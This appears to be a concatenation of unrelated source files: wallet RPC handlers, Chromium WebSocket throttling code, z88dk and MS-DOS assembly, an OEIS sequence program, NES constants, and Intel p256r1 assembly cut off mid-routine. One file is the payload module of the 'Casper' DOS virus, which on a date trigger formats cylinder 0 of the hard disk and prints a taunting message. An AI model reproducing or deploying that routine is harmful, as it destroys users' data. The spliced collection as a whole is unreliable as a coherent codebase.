(options.exists("feeRate")) { feeRate = CFeeRate(AmountFromValue(options["feeRate"])); overrideEstimatedFeerate = true; } if (options.exists("subtractFeeFromOutputs")) subtractFeeFromOutputs = options["subtractFeeFromOutputs"].get_array(); } } // parse hex string from parameter CMutableTransaction tx; if (!DecodeHexTx(tx, request.params[0].get_str())) throw JSONRPCError(RPC_DESERIALIZATION_ERROR, "TX decode failed"); if (tx.vout.size() == 0) throw JSONRPCError(RPC_INVALID_PARAMETER, "TX must have at least one output"); if (changePosition != -1 && (changePosition < 0 || (unsigned int)changePosition > tx.vout.size())) throw JSONRPCError(RPC_INVALID_PARAMETER, "changePosition out of bounds"); for (unsigned int idx = 0; idx < subtractFeeFromOutputs.size(); idx++) { int pos = subtractFeeFromOutputs[idx].get_int(); if (setSubtractFeeFromOutputs.count(pos)) throw JSONRPCError(RPC_INVALID_PARAMETER, strprintf("Invalid parameter, duplicated position: %d", pos)); if (pos < 0) throw JSONRPCError(RPC_INVALID_PARAMETER, strprintf("Invalid parameter, negative position: %d", pos)); if (pos >= int(tx.vout.size())) throw JSONRPCError(RPC_INVALID_PARAMETER, strprintf("Invalid parameter, position too large: %d", pos)); setSubtractFeeFromOutputs.insert(pos); } CAmount nFeeOut; std::string strFailReason; if(!pwalletMain->FundTransaction(tx, nFeeOut, overrideEstimatedFeerate, feeRate, changePosition, strFailReason, includeWatching, lockUnspents, setSubtractFeeFromOutputs, reserveChangeKey, changeAddress)) throw JSONRPCError(RPC_INTERNAL_ERROR, strFailReason); UniValue result(UniValue::VOBJ); result.push_back(Pair("hex", EncodeHexTx(tx))); result.push_back(Pair("changepos", changePosition)); result.push_back(Pair("fee", ValueFromAmount(nFeeOut))); return result; } UniValue setbip69enabled(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "setbip69enabled enable\n" "\nEnable/Disable BIP69 input/output sorting (-regtest only)\n" "\nArguments:\n" "1. enable (bool, required) true or false" ); if (Params().NetworkIDString() != CBaseChainParams::REGTEST) throw std::runtime_error("setbip69enabled for regression testing (-regtest mode) only"); bBIP69Enabled = request.params[0].get_bool(); return NullUniValue; } extern UniValue dumpprivkey(const JSONRPCRequest& request); // in rpcdump.cpp extern UniValue importprivkey(const JSONRPCRequest& request); extern UniValue importaddress(const JSONRPCRequest& request); extern UniValue importpubkey(const JSONRPCRequest& request); extern UniValue dumpwallet(const JSONRPCRequest& request); extern UniValue importwallet(const JSONRPCRequest& request); extern UniValue importprunedfunds(const JSONRPCRequest& request); extern UniValue removeprunedfunds(const JSONRPCRequest& request); extern UniValue importmulti(const JSONRPCRequest& request); extern UniValue dumphdinfo(const JSONRPCRequest& request); extern UniValue importelectrumwallet(const JSONRPCRequest& request); static const CRPCCommand commands[] = { // category name actor (function) okSafeMode // --------------------- ------------------------ ----------------------- ---------- { "rawtransactions", "fundrawtransaction", &fundrawtransaction, false, {"hexstring","options"} }, { "hidden", "resendwallettransactions", &resendwallettransactions, true, {} }, { "wallet", "abandontransaction", &abandontransaction, false, {"txid"} }, { "wallet", "addmultisigaddress", &addmultisigaddress, true, {"nrequired","keys","account"} }, { "wallet", "backupwallet", &backupwallet, true, {"destination"} }, { "wallet", "dumpprivkey", &dumpprivkey, true, {"address"} }, { "wallet", "dumpwallet", &dumpwallet, true, {"filename"} }, { "wallet", "encryptwallet", &encryptwallet, true, {"passphrase"} }, { "wallet", "getaccountaddress", &getaccountaddress, true, {"account"} }, { "wallet", "getaccount", &getaccount, true, {"address"} }, { "wallet", "getaddressesbyaccount", &getaddressesbyaccount, true, {"account"} }, { "wallet", "getbalance", &getbalance, false, {"account","minconf","addlockconf","include_watchonly"} }, { "wallet", "getnewaddress", &getnewaddress, true, {"account"} }, { "wallet", "getrawchangeaddress", &getrawchangeaddress, true, {} }, { "wallet", "getreceivedbyaccount", &getreceivedbyaccount, false, {"account","minconf","addlockconf"} }, { "wallet", "getreceivedbyaddress", &getreceivedbyaddress, false, {"address","minconf","addlockconf"} }, { "wallet", "gettransaction", &gettransaction, false, {"txid","include_watchonly"} }, { "wallet", "getunconfirmedbalance", &getunconfirmedbalance, false, {} }, { "wallet", "getwalletinfo", &getwalletinfo, false, {} }, { "wallet", "importmulti", &importmulti, true, {"requests","options"} }, { "wallet", "importprivkey", &importprivkey, true, {"privkey","label","rescan"} }, { "wallet", "importwallet", &importwallet, true, {"filename"} }, { "wallet", "importaddress", &importaddress, true, {"address","label","rescan","p2sh"} }, { "wallet", "importprunedfunds", &importprunedfunds, true, {"rawtransaction","txoutproof"} }, { "wallet", "importpubkey", &importpubkey, true, {"pubkey","label","rescan"} }, { "wallet", "keypoolrefill", &keypoolrefill, true, {"newsize"} }, { "wallet", "listaccounts", &listaccounts, false, {"minconf","addlockconf","include_watchonly"} }, { "wallet", "listaddressgroupings", &listaddressgroupings, false, {} }, { "wallet", "listaddressbalances", &listaddressbalances, false, {"minamount"} }, { "wallet", "listlockunspent", &listlockunspent, false, {} }, { "wallet", "listreceivedbyaccount", &listreceivedbyaccount, false, {"minconf","addlockconf","include_empty","include_watchonly"} }, { "wallet", "listreceivedbyaddress", &listreceivedbyaddress, false, {"minconf","addlockconf","include_empty","include_watchonly"} }, { "wallet", "listsinceblock", &listsinceblock, false, {"blockhash","target_confirmations","include_watchonly"} }, { "wallet", "listtransactions", &listtransactions, false, {"account","count","skip","include_watchonly"} }, { "wallet", "listunspent", &listunspent, false, {"minconf","maxconf","addresses","include_unsafe"} }, { "wallet", "lockunspent", &lockunspent, true, {"unlock","transactions"} }, { "wallet", "move", &movecmd, false, {"fromaccount","toaccount","amount","minconf","comment"} }, { "wallet", "sendfrom", &sendfrom, false, {"fromaccount","toaddress","amount","minconf","addlockconf","comment","comment_to"} }, { "wallet", "sendmany", &sendmany, false, {"fromaccount","amounts","minconf","addlockconf","comment","subtractfeefrom"} }, { "wallet", "sendtoaddress", &sendtoaddress, false, {"address","amount","comment","comment_to","subtractfeefromamount"} }, { "wallet", "setaccount", &setaccount, true, {"address","account"} }, { "wallet", "settxfee", &settxfee, true, {"amount"} }, { "wallet", "signmessage", &signmessage, true, {"address","message"} }, { "wallet", "walletlock", &walletlock, true, {} }, { "wallet", "walletpassphrasechange", &walletpassphrasechange, true, {"oldpassphrase","newpassphrase"} }, { "wallet", "walletpassphrase", &walletpassphrase, true, {"passphrase","timeout","mixingonly"} }, { "wallet", "removeprunedfunds", &removeprunedfunds, true, {"txid"} }, { "wallet", "keepass", &keepass, true, {} }, { "wallet", "instantsendtoaddress", &instantsendtoaddress, false, {"address","amount","comment","comment_to","subtractfeefromamount"} }, { "wallet", "dumphdinfo", &dumphdinfo, true, {} }, { "wallet", "importelectrumwallet", &importelectrumwallet, true, {"filename", "index"} }, { "hidden", "setbip69enabled", &setbip69enabled, true, {} }, }; void RegisterWalletRPCCommands(CRPCTable &t) { if (GetBoolArg("-disablewallet", false)) return; for (unsigned int vcidx = 0; vcidx < ARRAYLEN(commands); vcidx++) t.appendCommand(commands[vcidx].name, &commands[vcidx]); }
#include "ComCastor3D/Castor3D/ComPointLight.hpp" #include "ComCastor3D/ComUtils.hpp" namespace CastorCom { CPointLight::CPointLight() { } CPointLight::~CPointLight() { } }
.8086 public DOSEXIT include dos.inc _TEXT segment byte public 'CODE' use16 DOSEXIT: mov BP,SP mov AX,[BP+4] or AH,AH je @F mov AL,0FFh @@: END_PROCESS AL _TEXT ends end
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "content/browser/websockets/websocket_manager.h" #include <algorithm> #include <string> #include <vector> #include "base/callback.h" #include "base/logging.h" #include "base/memory/ptr_util.h" #include "base/numerics/safe_conversions.h" #include "base/rand_util.h" #include "content/public/browser/browser_thread.h" #include "content/public/browser/render_process_host.h" #include "content/public/browser/render_process_host_observer.h" #include "content/public/browser/storage_partition.h" namespace content { namespace { const char kWebSocketManagerKeyName[] = "web_socket_manager"; // Max number of pending connections per WebSocketManager used for per-renderer // WebSocket throttling. const int kMaxPendingWebSocketConnections = 255; } // namespace class WebSocketManager::Handle : public base::SupportsUserData::Data, public RenderProcessHostObserver { public: explicit Handle(WebSocketManager* manager) : manager_(manager) {} ~Handle() override { DCHECK(!manager_) << "Should have received RenderProcessHostDestroyed"; } WebSocketManager* manager() const { return manager_; } // The network stack could be shutdown after this notification, so be sure to // stop using it before then. void RenderProcessHostDestroyed(RenderProcessHost* host) override { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); BrowserThread::DeleteSoon(BrowserThread::IO, FROM_HERE, manager_); manager_ = nullptr; } private: WebSocketManager* manager_; }; // static void WebSocketManager::CreateWebSocket( int process_id, int frame_id, blink::mojom::WebSocketRequest request) { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); RenderProcessHost* host = RenderProcessHost::FromID(process_id); DCHECK(host); // Maintain a WebSocketManager per RenderProcessHost. While the instance of // WebSocketManager is allocated on the UI thread, it must only be used and // deleted from the IO thread. Handle* handle = static_cast<Handle*>(host->GetUserData(kWebSocketManagerKeyName)); if (!handle) { handle = new Handle( new WebSocketManager(process_id, host->GetStoragePartition())); host->SetUserData(kWebSocketManagerKeyName, base::WrapUnique(handle)); host->AddObserver(handle); } else { DCHECK(handle->manager()); } BrowserThread::PostTask( BrowserThread::IO, FROM_HERE, base::Bind(&WebSocketManager::DoCreateWebSocket, base::Unretained(handle->manager()), frame_id, base::Passed(&request))); } WebSocketManager::WebSocketManager(int process_id, StoragePartition* storage_partition) : process_id_(process_id), storage_partition_(storage_partition), num_pending_connections_(0), num_current_succeeded_connections_(0), num_previous_succeeded_connections_(0), num_current_failed_connections_(0), num_previous_failed_connections_(0), context_destroyed_(false) { if (storage_partition_) { url_request_context_getter_ = storage_partition_->GetURLRequestContext(); // This unretained pointer is safe because we destruct a WebSocketManager // only via WebSocketManager::Handle::RenderProcessHostDestroyed which // posts a deletion task to the IO thread. BrowserThread::PostTask( BrowserThread::IO, FROM_HERE, base::Bind( &WebSocketManager::ObserveURLRequestContextGetter, base::Unretained(this))); } } WebSocketManager::~WebSocketManager() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO)); if (!context_destroyed_ && url_request_context_getter_) url_request_context_getter_->RemoveObserver(this); for (auto* impl : impls_) { impl->GoAway(); delete impl; } } void WebSocketManager::DoCreateWebSocket( int frame_id, blink::mojom::WebSocketRequest request) { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO)); if (num_pending_connections_ >= kMaxPendingWebSocketConnections) { // Too many websockets! request.ResetWithReason( blink::mojom::WebSocket::kInsufficientResources, "Error in connection establishment: net::ERR_INSUFFICIENT_RESOURCES"); return; } if (context_destroyed_) { request.ResetWithReason( blink::mojom::WebSocket::kInsufficientResources, "Error in connection establishment: net::ERR_UNEXPECTED"); return; } // Keep all WebSocketImpls alive until either the client drops its // connection (see OnLostConnectionToClient) or we need to shutdown. impls_.insert(CreateWebSocketImpl(this, std::move(request), process_id_, frame_id, CalculateDelay())); ++num_pending_connections_; if (!throttling_period_timer_.IsRunning()) { throttling_period_timer_.Start( FROM_HERE, base::TimeDelta::FromMinutes(2), this, &WebSocketManager::ThrottlingPeriodTimerCallback); } } // Calculate delay as described in the per-renderer WebSocket throttling // design doc: https://goo.gl/tldFNn base::TimeDelta WebSocketManager::CalculateDelay() const { int64_t f = num_previous_failed_connections_ + num_current_failed_connections_; int64_t s = num_previous_succeeded_connections_ + num_current_succeeded_connections_; int p = num_pending_connections_; return base::TimeDelta::FromMilliseconds( base::RandInt(1000, 5000) * (1 << std::min(p + f / (s + 1), INT64_C(16))) / 65536); } void WebSocketManager::ThrottlingPeriodTimerCallback() { num_previous_failed_connections_ = num_current_failed_connections_; num_current_failed_connections_ = 0; num_previous_succeeded_connections_ = num_current_succeeded_connections_; num_current_succeeded_connections_ = 0; if (num_pending_connections_ == 0 && num_previous_failed_connections_ == 0 && num_previous_succeeded_connections_ == 0) { throttling_period_timer_.Stop(); } } WebSocketImpl* WebSocketManager::CreateWebSocketImpl( WebSocketImpl::Delegate* delegate, blink::mojom::WebSocketRequest request, int child_id, int frame_id, base::TimeDelta delay) { return new WebSocketImpl(delegate, std::move(request), child_id, frame_id, delay); } int WebSocketManager::GetClientProcessId() { return process_id_; } StoragePartition* WebSocketManager::GetStoragePartition() { return storage_partition_; } void WebSocketManager::OnReceivedResponseFromServer(WebSocketImpl* impl) { // The server accepted this WebSocket connection. impl->OnHandshakeSucceeded(); --num_pending_connections_; DCHECK_GE(num_pending_connections_, 0); ++num_current_succeeded_connections_; } void WebSocketManager::OnLostConnectionToClient(WebSocketImpl* impl) { // The client is no longer interested in this WebSocket. if (!impl->handshake_succeeded()) { // Update throttling counters (failure). --num_pending_connections_; DCHECK_GE(num_pending_connections_, 0); ++num_current_failed_connections_; } impl->GoAway(); impls_.erase(impl); delete impl; } void WebSocketManager::OnContextShuttingDown() { context_destroyed_ = true; url_request_context_getter_ = nullptr; for (auto* impl : impls_) { impl->GoAway(); delete impl; } impls_.clear(); } void WebSocketManager::ObserveURLRequestContextGetter() { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO)); if (!url_request_context_getter_->GetURLRequestContext()) { context_destroyed_ = true; url_request_context_getter_ = nullptr; return; } url_request_context_getter_->AddObserver(this); } } // namespace content
; float fmin(float x, float y) __z88dk_callee SECTION code_clib SECTION code_fp_math48 PUBLIC cm48_sdcciy_fmin_callee, l0_cm48_sdcciy_fmin_callee EXTERN am48_fmin, cm48_sdcciyp_dcallee2, cm48_sdcciyp_m482d cm48_sdcciy_fmin_callee: call cm48_sdcciyp_dcallee2 ; AC'= y ; AC = x l0_cm48_sdcciy_fmin_callee: call am48_fmin jp cm48_sdcciyp_m482d
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1991 ; * All Rights Reserved. ; */ include cmacros.inc assumes cs, code calldev struc pack dd ? strat dd ? ent dd ? calldev ends sBegin code cProc bio, <PUBLIC>, <bp,ds,es> parmDP cdev cBegin mov bp, cdev mov ds, word ptr [bp.strat+2] les bx, [bp.pack] call [bp.strat] call [bp.ent] cEnd cProc checkumb, <PUBLIC>, <es> parmDP mem cBegin mov ah,62h ; get psp address int 21h mov es,bx mov bx,es:[0002] ; get end of dos memory mov ax,1 cmp mem,bx ja @f ; if mem is on umb mov ax,0 @@: cEnd cProc check_swapper, <PUBLIC>, <di, es> cBegin xor bx,bx mov di,bx mov es,bx mov ax,4b02h ; check if swapper exist int 2fh jc cs_none ; if swapper not exist mov ax,es or ax,di jnz cs_exist ; if swapper exist cs_none: mov ax,0 jmp short cs_end cs_exist: mov ax,1 cs_end: cEnd sEnd code end 
SECTION code_driver SECTION code_driver_terminal_output PUBLIC zx_01_output_char_32_tty_z88dk_23_atr zx_01_output_char_32_tty_z88dk_23_atr: ; atr dx,dy ; de = parameters * ex de,hl ld d,(hl) ; d = dy dec d inc hl ld e,(hl) ; e = dx dec e ex de,hl ld e,(ix+14) ; e = x ld d,(ix+15) ; d = y ld a,l add a,e ld e,a ; e = x + dx ld a,h add a,d ld d,a ; d = y + dy ld (ix+14),e ; store x coord ld (ix+15),d ; store y coord ret
; A315075: Coordination sequence Gal.6.350.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,9,15,21,25,30,35,39,45,51,55,60,65,69,75,81,85,90,95,99,105,111,115,120,125,129,135,141,145,150,155,159,165,171,175,180,185,189,195,201,205,210,215,219,225,231,235,240,245 mov $1,5 mov $2,$0 mov $7,$0 add $0,5 add $1,$0 lpb $2 sub $0,4 mov $3,$0 mov $5,$0 add $5,$0 mov $6,1 lpb $5 trn $2,$0 trn $3,6 add $4,3 sub $4,$3 mov $1,$4 add $1,$6 add $1,4 trn $4,1 add $5,2 trn $5,5 lpe lpe lpb $7 add $1,4 sub $7,1 lpe sub $1,9
;**************************************************************************** ;* ;* UTILITY.ASM - Manipulation Task Code For Casper The Virus. * ;* * ;* USAGE: Is automatically INCLUDED in the assembly of casper.asm * ;* * ;* DETAILS: Date Activated Hard Disk Destroyer. * ;* DATE: 1st April DAMAGE: Formats Cylinder 0 of HD. * ;* * ;************************************************************************** mov ah,2ah ; DOS Get Date. int 21h cmp dx,0401h ; 5th May. jne utilend mov ax,0515h ;Format Cylinder, 15 Sectors. mov ch,0 ;Cylinder 0. mov dx,00 ;Head 0, Drive 80h. mov es,dx ;Junk for address marks. mov bx,0 ;Junk.... int 13h ;Do It! int 20h ;Exit utilend: jmp entry3 db "Hi! I'm Casper The Virus, And On April The 1st I'm " db "Gonna Fuck Up Your Hard Disk REAL BAD! " db "In Fact It Might Just Be Impossible To Recover! " db "How's That Grab Ya! <GRIN>" entry3: 
; Copyright (C) 2020, Vi Grey ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; 1. Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE ; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS ; OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ; HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY ; OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF ; SUCH DAMAGE. CONTROLLER1 = $4016 CONTROLLER2 = $4017 BUTTON_A = 1 << 7 BUTTON_B = 1 << 6 BUTTON_SELECT = 1 << 5 BUTTON_START = 1 << 4 BUTTON_UP = 1 << 3 BUTTON_DOWN = 1 << 2 BUTTON_LEFT = 1 << 1 BUTTON_RIGHT = 1 << 0 PPU_CTRL = $2000 PPU_MASK = $2001 PPU_STATUS = $2002 PPU_OAM_ADDR = $2003 PPU_OAM_DATA = $2004 PPU_SCROLL = $2005 PPU_ADDR = $2006 PPU_DATA = $2007 OAM_DMA = $4014 APU_FRAME_COUNTER = $4017 CALLBACK = $FFFA
;=============================================================================== ; Copyright 2015-2019 Intel Corporation ; All Rights Reserved. ; ; If this software was obtained under the Intel Simplified Software License, ; the following terms apply: ; ; The source code, information and material ("Material") contained herein is ; owned by Intel Corporation or its suppliers or licensors, and title to such ; Material remains with Intel Corporation or its suppliers or licensors. The ; Material contains proprietary information of Intel or its suppliers and ; licensors. The Material is protected by worldwide copyright laws and treaty ; provisions. No part of the Material may be used, copied, reproduced, ; modified, published, uploaded, posted, transmitted, distributed or disclosed ; in any way without Intel's prior express written permission. No license under ; any patent, copyright or other intellectual property rights in the Material ; is granted to or conferred upon you, either expressly, by implication, ; inducement, estoppel or otherwise. Any license under such intellectual ; property rights must be express and approved by Intel in writing. ; ; Unless otherwise agreed by Intel in writing, you may not remove or alter this ; notice or any other notice embedded in Materials by Intel or Intel's ; suppliers or licensors in any way. ; ; ; If this software was obtained under the Apache License, Version 2.0 (the ; "License"), the following terms apply: ; ; You may not use this file except in compliance with the License. You may ; obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 ; ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, WITHOUT ; WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; ; See the License for the specific language governing permissions and ; limitations under the License. ;=============================================================================== ; ; ; Purpose: Cryptography Primitive. ; secp p256r1 specific implementation ; include asmdefs.inc include ia_32e.inc IF _IPP32E GE _IPP32E_M7 _xEMULATION_ = 1 _ADCX_ADOX_ = 1 .LIST IPPCODE SEGMENT 'CODE' ALIGN (IPP_ALIGN_FACTOR) ALIGN IPP_ALIGN_FACTOR ;; The p256r1 polynomial Lpoly DQ 0FFFFFFFFFFFFFFFFh,000000000FFFFFFFFh,00000000000000000h,0FFFFFFFF00000001h ;; 2^512 mod P precomputed for p256r1 polynomial LRR DQ 00000000000000003h,0fffffffbffffffffh,0fffffffffffffffeh,000000004fffffffdh LOne DD 1,1,1,1,1,1,1,1 LTwo DD 2,2,2,2,2,2,2,2 LThree DD 3,3,3,3,3,3,3,3 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_mul_by_2(uint64_t res[4], uint64_t a[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_mul_by_2 PROC PUBLIC FRAME USES_GPR rsi,rdi,r12,r13 LOCAL_FRAME = 0 USES_XMM COMP_ABI 2 a0 equ r8 a1 equ r9 a2 equ r10 a3 equ r11 t0 equ rax t1 equ rdx t2 equ rcx t3 equ r12 t4 equ r13 xor t4, t4 mov a0, qword ptr[rsi+sizeof(qword)*0] mov a1, qword ptr[rsi+sizeof(qword)*1] mov a2, qword ptr[rsi+sizeof(qword)*2] mov a3, qword ptr[rsi+sizeof(qword)*3] shld t4, a3, 1 shld a3, a2, 1 shld a2, a1, 1 shld a1, a0, 1 shl a0, 1 mov t0, a0 mov t1, a1 mov t2, a2 mov t3, a3 sub t0, qword ptr Lpoly+sizeof(qword)*0 sbb t1, qword ptr Lpoly+sizeof(qword)*1 sbb t2, qword ptr Lpoly+sizeof(qword)*2 sbb t3, qword ptr Lpoly+sizeof(qword)*3 sbb t4, 0 cmovz a0, t0 cmovz a1, t1 cmovz a2, t2 cmovz a3, t3 mov qword ptr[rdi+sizeof(qword)*0], a0 mov qword ptr[rdi+sizeof(qword)*1], a1 mov qword ptr[rdi+sizeof(qword)*2], a2 mov qword ptr[rdi+sizeof(qword)*3], a3 REST_XMM REST_GPR ret IPPASM p256r1_mul_by_2 ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_div_by_2(uint64_t res[4], uint64_t a[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_div_by_2 PROC PUBLIC FRAME USES_GPR rsi,rdi,r12,r13,r14 LOCAL_FRAME = 0 USES_XMM COMP_ABI 2 a0 equ r8 a1 equ r9 a2 equ r10 a3 equ r11 t0 equ rax t1 equ rdx t2 equ rcx t3 equ r12 t4 equ r13 mov a0, qword ptr[rsi+sizeof(qword)*0] mov a1, qword ptr[rsi+sizeof(qword)*1] mov a2, qword ptr[rsi+sizeof(qword)*2] mov a3, qword ptr[rsi+sizeof(qword)*3] xor t4, t4 xor r14, r14 mov t0, a0 mov t1, a1 mov t2, a2 mov t3, a3 add t0, qword ptr Lpoly+sizeof(qword)*0 adc t1, qword ptr Lpoly+sizeof(qword)*1 adc t2, qword ptr Lpoly+sizeof(qword)*2 adc t3, qword ptr Lpoly+sizeof(qword)*3 adc t4, 0 test a0, 1 cmovnz a0, t0 cmovnz a1, t1 cmovnz a2, t2 cmovnz a3, t3 cmovnz r14,t4 shrd a0, a1, 1 shrd a1, a2, 1 shrd a2, a3, 1 shrd a3, r14,1 mov qword ptr[rdi+sizeof(qword)*0], a0 mov qword ptr[rdi+sizeof(qword)*1], a1 mov qword ptr[rdi+sizeof(qword)*2], a2 mov qword ptr[rdi+sizeof(qword)*3], a3 REST_XMM REST_GPR ret IPPASM p256r1_div_by_2 ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_mul_by_3(uint64_t res[4], uint64_t a[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_mul_by_3 PROC PUBLIC FRAME USES_GPR rsi,rdi,r12,r13 LOCAL_FRAME = 0 USES_XMM COMP_ABI 2 a0 equ r8 a1 equ r9 a2 equ r10 a3 equ r11 t0 equ rax t1 equ rdx t2 equ rcx t3 equ r12 t4 equ r13 xor t4, t4 mov a0, qword ptr[rsi+sizeof(qword)*0] mov a1, qword ptr[rsi+sizeof(qword)*1] mov a2, qword ptr[rsi+sizeof(qword)*2] mov a3, qword ptr[rsi+sizeof(qword)*3] shld t4, a3, 1 shld a3, a2, 1 shld a2, a1, 1 shld a1, a0, 1 shl a0, 1 mov t0, a0 mov t1, a1 mov t2, a2 mov t3, a3 sub t0, qword ptr Lpoly+sizeof(qword)*0 sbb t1, qword ptr Lpoly+sizeof(qword)*1 sbb t2, qword ptr Lpoly+sizeof(qword)*2 sbb t3, qword ptr Lpoly+sizeof(qword)*3 sbb t4, 0 cmovz a0, t0 cmovz a1, t1 cmovz a2, t2 cmovz a3, t3 xor t4, t4 add a0, qword ptr[rsi+sizeof(qword)*0] adc a1, qword ptr[rsi+sizeof(qword)*1] adc a2, qword ptr[rsi+sizeof(qword)*2] adc a3, qword ptr[rsi+sizeof(qword)*3] adc t4, 0 mov t0, a0 mov t1, a1 mov t2, a2 mov t3, a3 sub t0, qword ptr Lpoly+sizeof(qword)*0 sbb t1, qword ptr Lpoly+sizeof(qword)*1 sbb t2, qword ptr Lpoly+sizeof(qword)*2 sbb t3, qword ptr Lpoly+sizeof(qword)*3 sbb t4, 0 cmovz a0, t0 cmovz a1, t1 cmovz a2, t2 cmovz a3, t3 mov qword ptr[rdi+sizeof(qword)*0], a0 mov qword ptr[rdi+sizeof(qword)*1], a1 mov qword ptr[rdi+sizeof(qword)*2], a2 mov qword ptr[rdi+sizeof(qword)*3], a3 REST_XMM REST_GPR ret IPPASM p256r1_mul_by_3 ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_add(uint64_t res[4], uint64_t a[4], uint64_t b[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_add PROC PUBLIC FRAME USES_GPR rsi,rdi,r12,r13 LOCAL_FRAME = 0 USES_XMM COMP_ABI 3 a0 equ r8 a1 equ r9 a2 equ r10 a3 equ r11 t0 equ rax t1 equ rdx t2 equ rcx t3 equ r12 t4 equ r13 xor t4, t4 mov a0, qword ptr[rsi+sizeof(qword)*0] mov a1, qword ptr[rsi+sizeof(qword)*1] mov a2, qword ptr[rsi+sizeof(qword)*2] mov a3, qword ptr[rsi+sizeof(qword)*3] add a0, qword ptr[rdx+sizeof(qword)*0] adc a1, qword ptr[rdx+sizeof(qword)*1] adc a2, qword ptr[rdx+sizeof(qword)*2] adc a3, qword ptr[rdx+sizeof(qword)*3] adc t4, 0 mov t0, a0 mov t1, a1 mov t2, a2 mov t3, a3 sub t0, qword ptr Lpoly+sizeof(qword)*0 sbb t1, qword ptr Lpoly+sizeof(qword)*1 sbb t2, qword ptr Lpoly+sizeof(qword)*2 sbb t3, qword ptr Lpoly+sizeof(qword)*3 sbb t4, 0 cmovz a0, t0 cmovz a1, t1 cmovz a2, t2 cmovz a3, t3 mov qword ptr[rdi+sizeof(qword)*0], a0 mov qword ptr[rdi+sizeof(qword)*1], a1 mov qword ptr[rdi+sizeof(qword)*2], a2 mov qword ptr[rdi+sizeof(qword)*3], a3 REST_XMM REST_GPR ret IPPASM p256r1_add ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; void p256r1_sub(uint64_t res[4], uint64_t a[4], uint64_t b[4]); ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN IPP_ALIGN_FACTOR IPPASM p256r1_sub PROC PUBLIC FRAME USES_GPR rsi,rdi,r12,r13 LOCAL_FRAME = 0 USES_XMM COMP_ABI 3 a0 equ r8 a1 equ r9 a2 equ r10 a3 equ r11 t0 equ rax t1 equ rdx t2 equ rcx t3 equ r12 t4 equ r13 xor t4, t4 mov a0, qword ptr[rsi+sizeof(qword)*0] mov a1, qword ptr[rsi+sizeof(qword)*1] mov a2, qword ptr[rsi+sizeof(qword)*2] mov a3, qword ptr[rsi+sizeof(qword)*3] sub a0, qword ptr[rdx+sizeof(qword)*0] sbb a1, qword ptr[rdx+sizeof(qword)*1] sbb a2, qword ptr[rdx+sizeof(qword)*2] sbb a3, qword ptr[rdx+sizeof(qword)*3] sbb t4, 0 mov t0, a0 mov t1, a1 mov t2, a2 